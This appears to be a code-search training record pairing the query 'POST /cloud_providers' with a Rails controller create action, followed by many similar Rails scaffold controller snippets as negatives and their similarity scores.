"def new\n @ip = @customer.ips.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ip }\n end\n end",
"def new\n @breadcrumb = 'create'\n @entity = Entity.new\n @towns = towns_dropdown\n @provinces = provinces_dropdown\n @zipcodes = zipcodes_dropdown\n @regions = Region.order(:name)\n @countries = Country.order(:name)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end",
"def new\n authorize! :create, Project\n \n @project = Project.new\n puts @project\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def create\n @service_provider = ServiceProvider.new(service_provider_params)\n\n respond_to do |format|\n if @service_provider.save\n format.html { redirect_to @service_provider, notice: \"Service provider was successfully created.\" }\n format.json { render :show, status: :created, location: @service_provider }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @service_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @url = Url.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end",
"def test_new\n %w(email address twitter facebook google linkedin xing).each do |provider|\n get :new, :provider => provider\n assert_response :success\n assert_template 'new'\n assert assigns(:identity).new_record?\n assert assigns(:identity).kind_of?(Identity.provider(provider.to_sym))\n end\n end",
"def new\n @host = Host.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @host }\n end\n end",
"def new\n @projectresource = Projectresource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projectresource }\n end\n end",
"def new\n @pokeparty = Pokeparty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pokeparty }\n end\n end",
"def new\n @park = Park.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @park }\n end\n end",
"def new\n @supplier = Supplier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplier }\n end\n end",
"def new\n @snp = Snp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @snp }\n end\n end",
"def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end",
"def new\n @vendor = Vendor.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vendor }\n end\n end",
"def new\n @kind = Kind.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kind }\n end\n end",
"def new\n @new_policy = NewPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_policy }\n end\n end",
"def new\r\n @tag_cloud = TagCloud.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @tag_cloud }\r\n end\r\n end",
"def new\n @vendor = Vendor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vendor }\n end\n end",
"def new\n @cp_press = CpPress.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cp_press }\n end\n end",
"def new\n @host_tpl = HostTpl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @host_tpl }\n end\n end",
"def new\n @entity = @klass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end",
"def new\n @breadcrumb = 'create'\n @entity_type = EntityType.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity_type }\n end\n end",
"def new\n @pinit = Pinit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pinit }\n end\n end",
"def create\n @healthcare_provider = HealthcareProvider.new(healthcare_provider_params)\n\n respond_to do |format|\n if @healthcare_provider.save\n format.html { redirect_to @healthcare_provider, notice: 'Healthcare provider was successfully created.' }\n format.json { render json: @healthcare_provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @healthcare_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @breadcrumb = 'create'\n @infrastructure_type = InfrastructureType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @infrastructure_type }\n end\n end",
"def new\n @party = Party.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @party }\n end\n end",
"def new\n @pto = Pto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pto }\n end\n end",
"def create\n @v1_provider_operation = V1::ProviderOperation.new(v1_provider_operation_params)\n\n respond_to do |format|\n if @v1_provider_operation.save\n format.html { redirect_to @v1_provider_operation, notice: 'Provider operation was successfully created.' }\n format.json { render :show, status: :created, location: @v1_provider_operation }\n else\n format.html { render :new }\n format.json { render json: @v1_provider_operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @project = current_user.projects.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @heroku = Heroku.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @heroku }\n end\n end",
"def new\n @company = Company.new(:name => 'default')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @company }\n end\n end",
"def new\n @oauth_remote_service_provider = OauthRemoteServiceProvider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @oauth_remote_service_provider }\n end\n end",
"def new\n @ip_type = IpType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @ip_type }\n end\n end",
"def new\n @meteor = Meteor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meteor }\n end\n end",
"def create\n @provider_project = ProviderProject.new(provider_project_params)\n\n respond_to do |format|\n if admin? and @provider_project.save\n format.html { redirect_to @provider_project, notice: 'Provider project was successfully created.' }\n format.json { render :show, status: :created, location: @provider_project }\n else\n format.html { render :new }\n format.json { render json: @provider_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @breadcrumb = 'create'\n @use = Use.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @use }\n end\n end",
"def new\n @pc_region = PcRegion.new\n @title = 'New PC Region'\n @context_menu = {'cancel' => pc_regions_path}\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pc_region }\n end\n end",
"def new\n @partner = Partner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partner }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @partner_type = PartnerType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partner_type }\n end\n end",
"def new\n @ip = Ip.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ip }\n end\n end"
] |
[
"0.77794886",
"0.77176195",
"0.75059843",
"0.75059843",
"0.7384776",
"0.7295979",
"0.72653306",
"0.72576916",
"0.7080923",
"0.70335186",
"0.7021476",
"0.7007189",
"0.6997756",
"0.69591427",
"0.6878553",
"0.67591",
"0.668349",
"0.6661483",
"0.6654626",
"0.6640935",
"0.66397434",
"0.6627615",
"0.66189903",
"0.66154015",
"0.65731716",
"0.656926",
"0.65470135",
"0.65164405",
"0.65152264",
"0.6511795",
"0.6507938",
"0.64984477",
"0.64972484",
"0.6486213",
"0.64577603",
"0.6426531",
"0.64136666",
"0.63836235",
"0.6379505",
"0.637902",
"0.6376171",
"0.63721377",
"0.636107",
"0.6353807",
"0.6344853",
"0.63126624",
"0.63126624",
"0.6303658",
"0.6298101",
"0.62898976",
"0.6289079",
"0.62875944",
"0.62676436",
"0.6257968",
"0.62537026",
"0.62534946",
"0.6243863",
"0.6242569",
"0.6235793",
"0.6229516",
"0.62144303",
"0.61986786",
"0.61975354",
"0.6192743",
"0.61884314",
"0.61861134",
"0.6173155",
"0.6171463",
"0.6169866",
"0.6168647",
"0.6163545",
"0.61613446",
"0.6153565",
"0.61527795",
"0.6145043",
"0.6144051",
"0.6142787",
"0.6140315",
"0.6139066",
"0.61370903",
"0.6133958",
"0.6132066",
"0.6130186",
"0.6128201",
"0.61273354",
"0.61268336",
"0.6125955",
"0.6122704",
"0.6116677",
"0.61125886",
"0.6111533",
"0.6107505",
"0.61066586",
"0.609773",
"0.60968685",
"0.609593",
"0.6094907",
"0.60935205",
"0.6093391",
"0.6086784"
] |
0.8160487
|
0
|
POST /cloud_providers POST /cloud_providers.json
|
def create
@cloud_provider = params[:cloud_provider][:type].constantize.new(params[:cloud_provider])
respond_to do |format|
begin
@cloud_provider.save
format.html { redirect_to @cloud_provider, notice: 'Cloud provider was successfully created.' }
format.json { render json: @cloud_provider, status: :created, location: @cloud_provider }
rescue
flash[:error] = "Check the credentials again"
format.html { render action: "new" }
format.json { render json: @cloud_provider.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @provider = Provider.new(provider_params)\n\n if @provider.save\n render json: @provider, status: :created, location: @provider\n else\n render json: @provider.errors, status: :unprocessable_entity\n end\n end",
"def create\n @provider = current_company.providers.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @cloud_provider = current_user.cloud_providers.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cloud_provider }\n end\n end",
"def create\n @provider = Provider.new(provider_params)\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @provider }\n else\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(provider_params)\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render action: 'show', status: :created, location: @provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @info_provider = Info::Provider.new(info_provider_params)\n\n respond_to do |format|\n if @info_provider.save\n format.html { redirect_to @info_provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @info_provider }\n else\n format.html { render :new }\n format.json { render json: @info_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @title = t('view.providers.new_title')\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: t('view.providers.correctly_created') }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_provider!(provider, provider_info = {}, access = {})\n Api::Request.new do |request|\n request[:access] = access\n request[:method] = :POST\n request[:path] = \"/mgmt/{{client_id}}/storages/#{provider}\"\n request[:request_body] = provider_info\n end.execute!\n\n end",
"def create\n @service_provider = ServiceProvider.new(service_provider_params)\n\n respond_to do |format|\n if @service_provider.save\n format.html { redirect_to @service_provider, notice: \"Service provider was successfully created.\" }\n format.json { render :show, status: :created, location: @service_provider }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @service_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(params[:provider])\n @services = Service.all\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to providers_path, notice: 'As informacoes foram salvas com sucesso.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @supplier_provider = Supplier::Provider.new(supplier_provider_params)\n\n respond_to do |format|\n if @supplier_provider.save\n format.html { redirect_to @supplier_provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @supplier_provider }\n else\n format.html { render :new }\n format.json { render json: @supplier_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(provider_params)\n @provider.user_id = current_user.id\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @provider }\n else\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cloud_params\n params.require(:cloud).permit(:name, :provider, :azenabled, :azclientid, :azappkey, :aztenantid, :azsubscriptionid, :azobjectid, :azdefaultresourcegroup, :azdefaultkeyvault, :gcpenabled, :gcpdefaultregion, :gcpdefaultzone, :gcpproject, :gcpjsonkey, :k8senabled, :k8sdockerregistryaccount, :k8skubeconfig, :k8snamespaces, :k8scontext, :k8sdockerregistries, :drenabled, :draddress, :drusername, :drpassword, :dremail, :drrepositories, :osenabled, :osauthurl, :osusername, :ospassword, :osprojectname, :osdomainname, :osregions, :osinsecure)\n end",
"def new_provider(port,bool)\n stub_framework(bool)\n fill_in \"provider[name]\", :with => \"ec2-testprovider\"\n fill_in \"provider[url]\", :with => \"http://localhost:#{port}/api\"\n select(\"Amazon EC2\", :from => \"provider_provider_type_id\")\n click_button \"Create Provider\"\nend",
"def create\n @data_provider = DataProvider.new(params[:data_provider])\n\n respond_to do |format|\n if @data_provider.save\n format.html { redirect_to root_path, notice: 'Data provider was successfully created.' }\n format.json { render json: @data_provider, status: :created, location: @data_provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @data_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(params[:provider])\n @provider.active = true\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @v1_provider_operation = V1::ProviderOperation.new(v1_provider_operation_params)\n\n respond_to do |format|\n if @v1_provider_operation.save\n format.html { redirect_to @v1_provider_operation, notice: 'Provider operation was successfully created.' }\n format.json { render :show, status: :created, location: @v1_provider_operation }\n else\n format.html { render :new }\n format.json { render json: @v1_provider_operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # puts \"provider_params #{provider_params}\"\n @provider = Provider.new(check_params)\n respond_to do |format|\n if @provider.save\n format.html { redirect_to providers_page_url, notice: 'Поставщик успешно создан.' }\n format.json { render :show, status: :created, location: @provider }\n else\n # puts \"@provider.errors #{@provider.errors.full_messages}\"\n # puts \"@provider #{@provider.to_json}\"\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @providerservice = Providerservice.new(providerservice_params)\n\n respond_to do |format|\n if @providerservice.save\n format.html { redirect_to @providerservice, notice: 'Providerservice was successfully created.' }\n format.json { render :show, status: :created, location: @providerservice }\n else\n format.html { render :new }\n format.json { render json: @providerservice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n flash[:notice] = 'Provider was successfully created.'\n format.html { redirect_to providers_path }\n format.xml { render :xml => @provider, :status => :created, :location => @provider }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @provider_provider_type = Provider::ProviderType.new(provider_provider_type_params)\n @provider_provider_type.user_created_id = current_user.id\n respond_to do |format|\n if @provider_provider_type.save\n format.html { redirect_to provider_provider_types_path, notice: I18n.t('provider_types.controller.create') }\n format.json { render :show, status: :created, location: @provider_provider_type }\n else\n format.html { render :new }\n format.json { render json: @provider_provider_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n provider = Manage::Provider.find_by(login: manage_provider_params[:login])\n if provider\n flash_msg('danger', \"此账号已经存在\", 'new')\n else\n manage_provider = Manage::Provider.new(manage_provider_params)\n begin\n if manage_provider.save\n flash_msg('success', '添加供应商成功!', 'index')\n end\n rescue Exception => e\n flash_msg('danger', \"添加供应商失败!#{error_msg(manage_provider)}\", 'new')\n end\n end\n end",
"def create\n @cloud_resource = CloudResource.new(cloud_resource_params)\n\n respond_to do |format|\n if @cloud_resource.save\n format.html { redirect_to @cloud_resource, notice: 'Cloud resource was successfully created.' }\n format.json { render :show, status: :created, location: @cloud_resource }\n else\n format.html { render :new }\n format.json { render json: @cloud_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cloud_params\n params.require(:cloud).permit(:api, :url, :ip_addresses, :port, :token, :shared_secret, :bucket, :platform_id)\n end",
"def create\n @cloud = Cloud.new(params[:cloud])\n\n respond_to do |format|\n if @cloud.save\n format.html { redirect_to @cloud, :notice => 'Cloud was successfully created.' }\n format.json { render :json => @cloud, :status => :created, :location => @cloud }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @cloud.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @provider = current_company.providers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def providers(params = {})\n response = default_scope.get('providers/') do |request|\n request.params = params\n end\n JSON.parse(response.body)\n end",
"def new\n @provider = Provider.new\n @provider.build_address\n @services = Service.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def create\n @healthcare_provider = HealthcareProvider.new(healthcare_provider_params)\n\n respond_to do |format|\n if @healthcare_provider.save\n format.html { redirect_to @healthcare_provider, notice: 'Healthcare provider was successfully created.' }\n format.json { render json: @healthcare_provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @healthcare_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @email_service_provider = EmailServiceProvider.new(params[:email_service_provider])\n\n respond_to do |format|\n if @email_service_provider.save\n format.html { redirect_to @email_service_provider, notice: 'Email service provider was successfully created.' }\n format.json { render json: @email_service_provider, status: :created, location: @email_service_provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_service_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @payment_provider = PaymentProvider.new(params[:payment_provider])\n\n respond_to do |format|\n if @payment_provider.save\n format.html { redirect_to @payment_provider, notice: 'Payment provider was successfully created.' }\n format.json { render json: @payment_provider, status: :created, location: @payment_provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @payment_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def provider_params\r\n params.require(:provider).permit(:app_id, :name)\r\n end",
"def register_new(provider_data)\n location = Location.find_or_create_by(zip_code: provider_data[:zip_code])\n competencies = provider_data[:competencies].select{|k, v| v == 1}.keys\n provider = location.providers.new(provider_data)\n if provider.save\n competencies.each do |competency|\n assessment = Assessment.find_by(word: competency)\n provider.competencies.create(assessment: assessment)\n end\n end\n end",
"def provider_params\n params.require(:provider).permit(:company_name, :fantasy_name, :cpf, :cnpj, :street, :number, :neighborhood, :cep, :ie, :bank, :ag, :cc, :variation, :state_id, :city_id, :phone1, :phone2)\n end",
"def create\n @instance = @provider.instances.new(params[:instance])\n @instance.state = \"Building\"\n respond_to do |format|\n if @instance.save\n @instance.create_instance(@provider.connect!)\n format.html { redirect_to cloud_provider_instance_path(@provider,@instance), notice: 'Instance was successfully created.' }\n format.json { render json: @instance, status: :created, location: @instance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @instance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def provider_params\n params.require(:provider).permit(:name, :lowest_price, :rating, :max_speed, :description, :contact_no, :email, :image, :url)\n end",
"def provider_params\n params.require(:provider).permit(:name, :active, :api_token, :api_token_required, :default, :shortened_links_count)\n end",
"def create\n @aws_platform = AwsPlatform.new(aws_platform_params)\n\n respond_to do |format|\n if @aws_platform.save\n format.html { redirect_to @aws_platform, notice: 'Aws platform was successfully created.' }\n format.json { render :show, status: :created, location: @aws_platform }\n else\n format.html { render :new }\n format.json { render json: @aws_platform.errors, status: :unprocessable_entity }\n end\n end\n end",
"def provider_params\n params.require(:provider).permit(:provider, :uid, :nickname, :token, :secret)\n end",
"def create\n @care_provider = CareProvider.new(care_provider_params)\n\n respond_to do |format|\n if @care_provider.save\n format.html { redirect_to @care_provider, notice: 'Care provider was successfully created.' }\n format.json { render :show, status: :created, location: @care_provider }\n else\n format.html { render :new }\n format.json { render json: @care_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def provider_params\n params.require(:provider).permit(:fName, :middle, :lName, :addr1, :addr2, :city, :state, :zip, :phone, :email, :licenseCap, :sqOneCap, :licenseExpDate, :certLevel, :sqOneRepl)\n end",
"def create\n @provider_project = ProviderProject.new(provider_project_params)\n\n respond_to do |format|\n if admin? and @provider_project.save\n format.html { redirect_to @provider_project, notice: 'Provider project was successfully created.' }\n format.json { render :show, status: :created, location: @provider_project }\n else\n format.html { render :new }\n format.json { render json: @provider_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend",
"def create\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n ProviderAdmin.create(:member_id =>params[:member_id], :provider_id => @provider.id, :active=>true)\n format.html { redirect_to(@provider, :notice => 'Provider was successfully created.') }\n format.xml { render :xml => @provider, :status => :created, :location => @provider }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n form = NewMarketplaceForm.new(params)\n return render status: 400, json: form.errors unless form.valid?\n\n # As there's no community yet, we store the global service name to thread\n # so that mail confirmation email is sent from global service name instead\n # of the just created marketplace's name\n ApplicationHelper.store_community_service_name_to_thread(APP_CONFIG.global_service_name)\n\n marketplace = MarketplaceService::API::Marketplaces.create(\n params.slice(:marketplace_name,\n :marketplace_type,\n :marketplace_country,\n :marketplace_language)\n .merge(payment_process: :preauthorize)\n )\n\n # Create initial trial plan\n plan = {\n expires_at: Time.now.change({ hour: 9, min: 0, sec: 0 }) + 31.days\n }\n PlanService::API::Api.plans.create_initial_trial(community_id: marketplace[:id], plan: plan)\n\n if marketplace\n TransactionService::API::Api.settings.provision(\n community_id: marketplace[:id],\n payment_gateway: :paypal,\n payment_process: :preauthorize,\n active: true)\n end\n\n user = UserService::API::Users.create_user({\n given_name: params[:admin_first_name],\n family_name: params[:admin_last_name],\n email: params[:admin_email],\n password: params[:admin_password],\n locale: params[:marketplace_language]},\n marketplace[:id]).data\n\n auth_token = UserService::API::AuthTokens.create_login_token(user[:id])\n url = URLUtils.append_query_param(marketplace[:url], \"auth\", auth_token[:token])\n\n assign_onboarding_feature_flag(community_id: marketplace[:id])\n\n # TODO handle error cases with proper response\n\n render status: 201, json: {\"marketplace_url\" => url, \"marketplace_id\" => marketplace[:id]}\n end",
"def create\n @provider_service = ProviderService.new(provider_service_params)\n \n\n respond_to do |format|\n if @provider_service.save\n format.js { flash.now[:notice] = \"Provider Service was successfully created.\" }\n format.html { redirect_to @provider_service, notice: 'Provider service was successfully created.' }\n format.json { render :show, status: :created, location: @provider_service }\n else\n @provider_masters = ProviderMaster.all\n @service_masters = ServiceMaster.all\n format.js { render :new }\n format.html { render :new }\n format.json { render json: @provider_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @providers_payment_type = Providers::PaymentType.new(providers_payment_type_params)\n\n respond_to do |format|\n if @providers_payment_type.save\n\n format.html { redirect_to providers_payment_types_path, notice: 'Payment type was successfully created.' }\n format.json { render :show, status: :created, location: @providers_payment_type }\n else\n format.html { render :new }\n format.json { render json: @providers_payment_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def provider_params\n params.require(:provider).permit( :name, :manager, :phone, :komment, :address, \n :email, :url, :spec, :p_status_id, :city_id,\n :providers_group_id, :is_group, :group_id,\n budget_ids: [], style_ids: [], \n goodstype_ids: [], \n special_infos_attributes: [:id, :content, :_destroy])\n # goodstype_attributes: [],\n end",
"def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def healthcare_provider_params\n params.require(:healthcare_provider).permit(:name, :provider_type)\n end",
"def create\n @payment_provider = PaymentProvider.new(payment_provider_params)\n\n respond_to do |format|\n if @payment_provider.save\n format.html { redirect_to settings_payments_path, notice: 'Payment provider was successfully created.' }\n format.json { render :show, status: :created, location: @payment_provider }\n else\n format.html { render :new }\n format.json { render json: @payment_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n might_update_resource do\n provider.create\n end\n end",
"def create\n might_update_resource do\n provider.create\n end\n end",
"def create\n might_update_resource do\n provider.create\n end\n end",
"def create\n might_update_resource do\n provider.create\n end\n end",
"def create\n @cloud = Cloud.new(cloud_params)\n current_user\n @cloud.user_id = current_user.id\n\n respond_to do |format|\n if @cloud.save\n format.html { redirect_to @cloud, notice: 'Cloud was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cloud }\n else\n format.html { render action: 'new' }\n format.json { render json: @cloud.errors, status: :unprocessable_entity }\n end\n end\n end",
"def provider_provider_type_params\n params.require(:provider_provider_type).permit(:name)\n end",
"def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def provision\n req = VCAP::Services::Api::ProvisionRequest.decode(request_body)\n\n svc = Service.find_by_label(req.label)\n raise CloudError.new(CloudError::SERVICE_NOT_FOUND) unless svc && svc.visible_to_user?(user)\n\n cfg = ServiceConfig.provision(svc, user, req.name, req.plan, req.plan_option)\n\n handle = {\n :service_id => cfg.name,\n :data => cfg.data,\n :credentials => cfg.credentials,\n }\n render :json => handle\n end",
"def resource_params\n params.require(:provider).permit(:proveedor, :cgdvcode, :name)\n end",
"def create_new_admin\n @provider = Provider.new\n end",
"def create\n @teleprovider = Teleprovider.new(teleprovider_params)\n\n if @teleprovider.save\n respond_with(@teleprovider, location: teleproviders_url, notice: 'Teleprovider was successfully created.')\n else\n respond_with(@teleprovider)\n end\n end",
"def create\n @oauth_remote_service_provider = OauthRemoteServiceProvider.new(params[:oauth_remote_service_provider])\n\n respond_to do |format|\n if @oauth_remote_service_provider.save\n flash[:notice] = 'OauthRemoteServiceProvider was successfully created.'\n format.html { redirect_to(@oauth_remote_service_provider) }\n format.xml { render :xml => @oauth_remote_service_provider, :status => :created, :location => @oauth_remote_service_provider }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @oauth_remote_service_provider.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n form = NewMarketplaceForm.new(params)\n return render status: 400, json: form.errors unless form.valid?\n\n # As there's no community yet, we store the global service name to thread\n # so that mail confirmation email is sent from global service name instead\n # of the just created marketplace's name\n ApplicationHelper.store_community_service_name_to_thread(APP_CONFIG.global_service_name)\n\n marketplace = MarketplaceService::API::Marketplaces.create(\n params.slice(:marketplace_name,\n :marketplace_type,\n :marketplace_country,\n :marketplace_language)\n .merge(payment_process: :preauthorize)\n )\n\n # Create initial trial plan\n plan = {\n expires_at: Time.now.change({ hour: 9, min: 0, sec: 0 }) + 31.days\n }\n PlanService::API::Api.plans.create_initial_trial(community_id: marketplace[:id], plan: plan)\n\n if marketplace\n TransactionService::API::Api.settings.provision(\n community_id: marketplace[:id],\n payment_gateway: :paypal,\n payment_process: :preauthorize,\n active: true)\n end\n\n user = UserService::API::Users.create_user({\n given_name: params[:admin_first_name],\n family_name: params[:admin_last_name],\n email: params[:admin_email],\n password: params[:admin_password],\n locale: params[:marketplace_language]},\n marketplace[:id]).data\n\n base_url = URI(marketplace[:url])\n url = admin_getting_started_guide_url(host: base_url.host, port: base_url.port)\n\n # make the marketplace creator be logged in via Auth Token\n auth_token = UserService::API::AuthTokens.create_login_token(user[:id])\n url = URLUtils.append_query_param(url, \"auth\", auth_token[:token])\n\n # Enable specific features for all new trials\n FeatureFlagService::API::Api.features.enable(community_id: marketplace[:id], person_id: user[:id], features: [:topbar_v1])\n FeatureFlagService::API::Api.features.enable(community_id: marketplace[:id], features: [:topbar_v1])\n\n # TODO handle error cases with proper response\n\n render status: 201, json: {\"marketplace_url\" => url, \"marketplace_id\" => marketplace[:id]}\n end",
"def providerservice_params\n params.require(:providerservice).permit(:name, :description, :providerprofile_id)\n end",
"def create\n @provider_type = ProviderType.new(params[:provider_type])\n\n respond_to do |format|\n if @provider_type.save\n format.html { redirect_to(@provider_type, :notice => 'Provider type was successfully created.') }\n format.xml { render :xml => @provider_type, :status => :created, :location => @provider_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def addservice\n\n @service = ServiceProvider.find_by(username: params[:serviceprovider][:username]);\n permitted = params[:serviceprovider].permit( :description, :category_id);\n @service.services.create(permitted);\n\n render json: @service\n\n\nend",
"def new\n @flavours = @provider.get_flavors\n puts \"getting the flavors #{@flavours.inspect}\"\n @images = @provider.get_images\n puts \"getting the flavors #{@images.inspect}\"\n @instance = @provider.instances.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @instance }\n end\n end",
"def create\n @utility_provider = UtilityProvider.new(utility_provider_params)\n\n respond_to do |format|\n if @utility_provider.save\n format.html { redirect_to @utility_provider, notice: 'Utility provider was successfully created.' }\n format.json { render action: 'show', status: :created, location: @utility_provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @utility_provider.errors, status: :unprocessable_entity }\n end\n end\n end",
